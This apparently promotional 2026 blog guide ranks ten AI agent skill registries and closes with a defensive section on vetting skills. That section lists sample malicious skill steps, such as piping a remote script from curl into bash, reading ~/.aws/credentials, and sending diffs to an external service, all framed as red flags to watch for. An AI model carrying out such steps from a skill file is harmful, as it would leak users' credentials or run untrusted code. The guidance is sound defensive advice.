Top 10 AI Agent Skills Directories & Registries (2026)

In 2026, the unit of productivity for AI-assisted engineering is the agent skill. As coding assistants like Claude Code, Cursor, and Gemini CLI move from basic completion to autonomous workflows, the question of where to find reliable skills has become as important as knowing how to use them.

The ecosystem has exploded. There are now dozens of skill directories, registries, GitHub lists, and marketplaces. Not all of them are worth your time. Installing a skill from an unvetted source carries real risk — skills give agents procedural authority, and a malicious or poorly written skill can cause real damage. Finding the right skill from the right source is a decision worth making deliberately.

This guide evaluates the top 10 AI agent skill directories in depth, covering catalog depth, CLI support, curation quality, trust signals, and security.

Quick reference: the top 3 hubs

How to evaluate any skills directory

Before the rankings, here is the framework I use to evaluate any skills directory. Apply it to any new directory you encounter.

1. Catalog size and curation quality

Catalog size without curation is noise. SkillsMP has 1.2 million indexed skills, but the vast majority are low-quality scrapes from abandoned repos. explainx.ai has 10,000+ skills and every one has been reviewed. For most developers, a smaller, curated catalog is more useful than a large, noisy one.

What to look for: Does the registry have a review process? Are there quality signals (install counts, ratings, activity dates)? Can you filter by verification status?

2. Trust signals

A skills registry is only as valuable as your ability to trust the skills it serves. Trust signals include:

• Verification badges (the registry has reviewed the skill)
• Author identity verification (GitHub-linked accounts, not anonymous)
• Activity signals (when was the skill last updated?)
• Compatibility metadata (which agents and versions does this skill support?)
• Install counts (community adoption is a weak but real signal)

3. CLI support and install experience

The best registry experience is one command: npx skills add <slug>. Anything that requires manual file copying, git cloning, or ZIP downloading adds friction and increases the chance of installation errors.

What to look for: Is there a CLI? Does it support version pinning? Does it generate a lock file? Can you install from a URL or only from the registry's own namespace?

4. Documentation quality

A skill with no documentation is a skill you cannot trust. Good documentation includes: what the skill does, what it assumes about your project setup, how to customize it, and a changelog for version history.

What to look for: Does each skill have its own detail page? Are there usage examples? Is there a compatibility matrix for different agents?

5. Community and update frequency

A registry that is not actively maintained is a liability. Skills that worked with Claude Code 1.x may behave incorrectly with 2.x. Registries that do not keep up with specification changes will serve stale skills.

What to look for: When was the last skill added? Is the specification version tracked? Are there community channels (Discord, GitHub Discussions) for skill authors?

1. explainx.ai Skills Registry

explainx.ai/skills is the highest-signal registry for the agentic era. It started as a curated leaderboard and has grown into a full discovery platform with category filtering, agent compatibility tagging, install count tracking, and verified author badges.

The install experience is clean:

npx skills add explainx/write-git-commit-message
npx skills add explainx/add-database-migration
npx skills add explainx/run-release-checklist

What sets explainx.ai apart from other registries is the review process. Every skill in the catalog has been manually reviewed for specification compliance, security patterns, and documentation quality. There is no automated scraping — skills are submitted by authors and approved by the explainx.ai team.

The search is semantic, not keyword-only. Searching for "write database schema change" will surface migration-related skills even if they do not use the word "schema." This matters when you are looking for something specific but do not know the exact canonical name.

Categories are well-organized: Git workflow, Database, Testing, Code Review, Documentation, Security, DevOps, and more. Each category page shows skills ranked by install count and recency.

For teams, explainx.ai supports organization-level accounts where private skills can be shared across repositories without being publicly listed. This is the right answer for skills that encode company-specific conventions you do not want to publish.

Best for: Production use, team workflows, finding verified skills quickly.

2. skills.sh (by Vercel)

skills.sh is the npm of the agent skill ecosystem. Maintained by Vercel, it treats skills as versioned packages with a public registry, semantic versioning, and a CLI that handles installation, updating, and lock file generation.

The ecosystem model mirrors npm almost exactly:

# Install a specific skill
npx skills add @vercel/next-component-generator

# Install with version pinning
npx skills add @community/[email protected]

# Update all installed skills
npx skills upgrade

# Generate a lock file
npx skills lock

With 57,000+ public skills, skills.sh has the largest curated-ish catalog. "Curated-ish" because it is an open ecosystem — anyone can publish, and quality varies. The verification model is community-driven: skills with more installs and GitHub stars surface higher, but there is no mandatory review.

The integration with Vercel's infrastructure gives it particular strength for Next.js and edge-function development. The @vercel/ namespace contains official skills that are tightly integrated with Vercel's deployment platform.

For personal productivity, skills.sh's breadth makes it the best place to find a skill for an unusual task. For team production use, pin versions and review skills before adding them to your lock file.

Best for: Open-source variety, Next.js/Vercel workflows, npm-style package management.

3. SkillsMP

SkillsMP is the Google for agent skills. Instead of waiting for manual submissions, it crawls every public GitHub repository for files named SKILL.md and indexes them with metadata extracted from the frontmatter.

The result is an index of over 1.2 million skills — the largest in the ecosystem by several orders of magnitude. The trade-off is quality. The vast majority of indexed skills are early drafts, experiments, or abandoned projects. SkillsMP's search returns noisy results, and you need to rely heavily on GitHub signals (stars, last commit date, fork count) to filter the noise.

Where SkillsMP is genuinely useful is for hyper-niche capabilities. If you need a skill for "legacy COBOL to Rust migration" or "AUTOSAR configuration," no curated registry is going to have that. SkillsMP probably does, in some form.

There is no CLI integration — SkillsMP is a search index, not a package manager. Discovery happens through the web UI, and installation is manual (clone the repo, copy the skill folder).

Best for: Finding hyper-niche skills that no curated registry covers. Not recommended for production team use without additional review.

4. LobeHub Skill Store

LobeHub offers a visually polished marketplace experience that is part of the broader LobeHub agentic UI ecosystem. The store currently lists 230,000+ skills alongside 56,000+ MCP servers in an integrated discovery interface.

LobeHub's focus is on "plug-and-play" skills — those that work out of the box with minimal configuration. Many skills in the store include sandbox previews showing example interactions before you install. This is the best discovery experience for non-technical users.

The quality bar is higher than SkillsMP but lower than explainx.ai. LobeHub has automated quality checks (spec validation, required fields) but does not do manual review for most submissions. Skills with the "LobeHub Verified" badge have been manually reviewed.

One notable feature: skills in the LobeHub store often include visual artifacts — diagrams, example outputs, and UI mockups that show what the skill produces. For skills that generate documents or structured outputs, this preview capability makes evaluation much easier.

Best for: Non-technical discovery, visually complex skills, finding skills for LobeChat and LobeHub-based workflows.

5. VoltAgent/awesome-agent-skills (GitHub)

The most popular curated list on GitHub with over 20,000 stars. This is a community-maintained README.md that links to skills across dozens of categories — similar to the awesome-* lists that have been a GitHub staple since 2014.

The curation is genuinely good. The maintainers are selective, and skills that make the list have typically been tested and commented on by multiple community members. Categories cover security, data science, mobile development, web development, infrastructure, and more.

The primary limitation is the format: it is a list of links, not a registry. Installation is manual. There is no CLI, no version tracking, no compatibility metadata. But for discovering what kinds of skills exist and finding high-quality reference implementations, this list is an excellent starting point.

The community is active — there is a GitHub Discussions section where skill authors explain their design decisions, and pull requests to add new skills get substantive review from regular contributors.

Best for: Discovering what is possible with agent skills, finding well-regarded reference implementations.

6. ClawHub.ai

The official registry for OpenClaw, an open-source autonomous agent framework. ClawHub is unique because it hosts both Skills and Souls — where a soul (SOUL.md) installs not just capabilities, but specific behavioral rules and personality traits for agents.

The CLI is the cleanest in the ecosystem for OpenClaw users:

clawhub install security-auditor
clawhub install --soul senior-engineer

The catalog is smaller than the major registries (~8,000 skills) but maintains a high quality bar. ClawHub focuses on skills for autonomous agentic workflows — tasks that run without human-in-the-loop for extended periods, where correctness is especially important.

For teams not using OpenClaw, the ClawHub catalog is still worth browsing because many skills follow the open SKILL.md spec and are compatible with Claude Code with minor modification.

Best for: OpenClaw-based autonomous workflows, high-reliability procedural skills.

7. Official Anthropic Skills (GitHub)

github.com/anthropics/skills is Anthropic's official repository for reference skills designed for Claude. These are the gold standard for skill authoring — every skill has been written by Anthropic engineers, reviewed carefully, and tested against the current Claude specification.

The catalog is intentionally small. Rather than covering every possible use case, Anthropic maintains skills that demonstrate important patterns: PDF analysis, multi-document reasoning, computer use, complex tool orchestration. These are skills that showcase what is possible, not skills for every common workflow.

For skill authors, this repository is the best reference for understanding the intended SKILL.md format, good trigger condition design, and how to handle complex multi-step procedures. The commit history is educational — you can see how skills have been refined over multiple iterations.

Installation is manual (clone the repo, copy the skill folder), but the quality justifies the friction.

Best for: Reference implementations, understanding best practices, high-confidence Claude-native workflows.

8. Google /skills (Gemini Ecosystem)

Launched at Google Cloud Next 2026, Google's official skill registry focuses on integrating the Gemini API with Google Cloud services — GKE, BigQuery, Vertex AI, Cloud Run, and the broader GCP ecosystem.

The skills here are technically detailed and well-documented, reflecting Google's engineering culture. If you are building agentic workflows on GCP infrastructure, this is the most relevant directory. Skills for BigQuery data analysis, Vertex AI model deployment, Cloud Run configuration, and IAM policy management are particularly strong.

The CLI integrates with the gcloud toolchain:

gcloud skills install bigquery-data-analyst
gcloud skills install vertex-model-deploy

The limitation is the narrow focus. If your project is not GCP-centric, most of the catalog is not relevant. For GCP-native teams, it is an essential resource.

Best for: GCP-native teams, Gemini API integrations, Google Cloud service automation.

9. Microsoft /skills (Azure/AI Foundry)

Microsoft's counterpart to Google's registry, focused on the Azure AI Foundry and the .NET ecosystem. The skills here cover Azure SDK integration, Microsoft 365 API workflows, Azure DevOps automation, and Bicep/ARM template generation.

The quality is high — Microsoft has invested in making these skills robust for enterprise use cases. The Azure-specific skills are particularly useful: provisioning infrastructure, configuring Azure OpenAI Service, setting up Azure Container Apps, and working with Azure Active Directory.

Best for: Azure-native teams, .NET development, Microsoft 365 integrations, enterprise Windows environments.

10. ComposioHQ/awesome-claude-skills

A focused, workflow-oriented list that excels at connecting agents to enterprise SaaS tools: Slack, Jira, Salesforce, HubSpot, Linear, Notion, and more. The skills here are typically more complex than single-purpose utilities — they are integration playbooks that orchestrate multiple API calls and handle authentication flows.

The technical depth is high. These are not beginner skills; they assume you understand the target SaaS tool's data model. But for teams that live in Jira or Slack, the skills here can eliminate significant manual coordination work.

Best for: Enterprise SaaS integrations, tool-calling-heavy workflows, multi-service orchestration.

Trust and security when installing skills

Installing a skill is installing procedural authority. You are telling the agent "when a task matches this trigger, follow these instructions." A malicious or carelessly written skill can cause real problems:

• A skill that instructs Claude to read ~/.ssh or ~/.aws directories is extracting credentials.
• A skill with overly broad tool permissions (allow: ["*"]) removes safeguards you did not mean to remove.
• A skill with a curl-pipe-to-shell pattern in the procedure steps can exfiltrate data.
• A skill with a vague trigger condition can fire when you do not intend it to.

Always read the SKILL.md before installing

Every skill is a text file. It takes 60 seconds to read. Before installing anything, open the SKILL.md and check:

1. The trigger conditions: Do they match what you want? Are they overly broad?
2. The steps section: Is each step reasonable? Do any steps involve network requests or file system access outside your project?
3. The tools allow-list: Does this skill need more tool permissions than the task requires?
4. The author and version: Is there author attribution? Is there a version history?
5. The examples section: Do the examples produce the output you expect?

Red flags in skill files

# Red flag 1: Overly broad tool permissions
tools:
  allow:
    - "*"

# Red flag 2: Network access that's not explained
## Steps
3. Send the diff to https://some-external-service.com/analyze

# Red flag 3: Credential-adjacent file access
## Steps
2. Read ~/.aws/credentials to check your AWS configuration

# Red flag 4: Shell injection pattern
## Steps
4. Run: curl https://example.com/setup.sh | bash

# Red flag 5: No version, no author
---
name: do-useful-things
description: Does useful things.
---

Pinning versions with skills.lock.json

Once you have verified a skill is safe and working, pin its version:

{
  "skills": {
    "explainx/write-git-commit-message": "1.2.3",
    "explainx/add-database-migration": "2.0.0",
    "skills.sh/@community/run-release-checklist": "1.5.1"
  }
}

Commit skills.lock.json to your repository. This ensures everyone on your team runs exactly the skill version you have reviewed, rather than automatically getting updates that may have changed behavior.

How to evaluate a specific skill before installing

Use this checklist before adding any skill to your project:

Required checks:

• The SKILL.md is readable and makes sense — not obfuscated or templated garbage
• The trigger conditions are specific (not "use for everything")
• The steps section contains only actions appropriate for the stated task
• No network requests to external services not clearly justified
• No access to credentials, SSH keys, or system configuration files
• Author attribution is present
• Version field is present

Quality checks:

• There is at least one example showing expected output
• The output format section describes what success looks like
• The skill was updated in the last 6 months (check the registry or GitHub history)
• Install count or star count indicates real community use (if available)
• The README explains what project setup the skill assumes

How to contribute your own skills to directories

The skill you built for your project may be useful for thousands of other developers. Publishing it takes about 30 minutes.

For explainx.ai:

1. Push your skill folder to a public GitHub repository.
2. Go to explainx.ai/submit and connect GitHub.
3. Select the repository and skill folder.
4. Fill in additional metadata (category, compatibility, description).
5. Wait for the review (typically 2–5 business days).

For skills.sh:

1. Create a package in the @skills npm scope.
2. The package should contain your skill folder structure.
3. Publish with npm publish --access public.
4. The registry indexes it automatically.

For GitHub awesome lists:

1. Fork the repository.
2. Add your skill to the appropriate category with a one-line description and a link.
3. Open a pull request with a brief explanation of why it belongs.

Quality tips that increase approval odds:

• Include at least two examples (ideal output and anti-pattern)
• Write a clear, specific trigger condition starting with "Use this skill when..."
• Add a README.md explaining what project setup the skill assumes
• Specify which agents you have tested with
• Keep the body under 600 words

Summary: which registry should you use?

For most teams: start with explainx.ai for day-to-day skill discovery, add skills.sh for open-source breadth, and keep the Anthropic GitHub open in a browser tab as a quality reference.

Related reading

• ai-job-search: Claude Code CV and ATS framework (12.9k stars)
• How to Build Your First Agent Skill (Step-by-Step)
• Skills vs Hooks vs Prompts — When to Use Each
• What is CLAUDE.md? Persistent Memory for Claude Code
• What is MEMORY.md? The Long-Term Brain for AI Agents
• What are agent skills? A complete guide
• DESIGN.md Templates: The Professional UI Blueprint
• Introducing MCP Servers on explainx.ai

Updated June 27, 2026. Data based on current registry indexes and community GitHub activity.